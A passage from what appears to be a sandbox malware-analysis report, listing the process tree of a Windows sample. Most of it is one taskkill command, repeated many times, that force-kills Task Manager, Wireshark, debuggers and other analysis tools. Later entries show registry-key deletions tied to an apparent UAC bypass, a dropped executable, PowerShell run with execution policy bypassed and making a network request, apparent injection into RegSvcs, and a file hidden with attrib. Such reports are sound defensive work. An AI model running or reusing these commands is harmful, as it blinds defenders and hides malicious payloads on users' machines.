        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3152
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1156
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4688
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:440
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3280
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3320
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:492
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:2572
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3780
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3740
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:4624
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:416
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4392
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4928
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3340
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1136
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4120
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4324
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4936
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:3776
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1316
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4640
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:496
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:3540
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:2404
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2148
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:4980
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1828
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        
        PID:1400
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:1420
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /F /IM ProcessHacker.exe /IM taskmgr.exe /IM HTTPDebuggerSvc.exe /IM Fiddler.exe /IM de4dot.exe /IM procexp.exe /IM procexp64.exe /IM procexp64a.exe /IM dnspy.exe /IM tcpview.exe /IM autoruns.exe /IM autorunsc.exe /IM filemon.exe /IM procmon.exe /IM regmon.exe /IM idaq.exe /IM idaq64.exe /IM ImmunityDebugger.exe /IM Wireshark.exe /IM dumpcap.exe /IM HookExplorer.exe /IM ImportREC.exe /IM PETools.exe /IM LordPE.exe /IM SysInspector.exe /IM proc_analyzer.exe /IM sysAnalyzer.exe /IM sniff_hit.exe /IM windbg.exe /IM joeboxcontrol.exe /IM joeboxserver.exe /IM x32dbg.exe /IM x64dbg.exe /IM httpdebugger.exe
        6⤵
        Kills process with taskkill
        
        PID:2116
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\.alecar\ /f
    3⤵
    - Modifies registry key
    PID:4340
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f
    3⤵
    - Modifies registry key
    PID:4288
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start C:/ProgramData/Servis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset.databas
    3⤵
    PID:2196
  - - C:\ProgramData\Servis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset.databas
      C:/ProgramData/Servis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset.databas
      4⤵
      Executes dropped EXE
      PID:484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -F C:/ProgramData/X94cC7KX0OiC63PODvTig2k268977JKN.ps1
        5⤵
        Blocklisted process makes network request
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:2656
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:2144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        6⤵
        
        PID:3644
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1712
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h C:\ProgramData\ServicesFolder\Service\Servis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset
        6⤵
        Views/modifies file attributes
        
        PID:3784
      - C:\Windows\system32\reg.exe
        
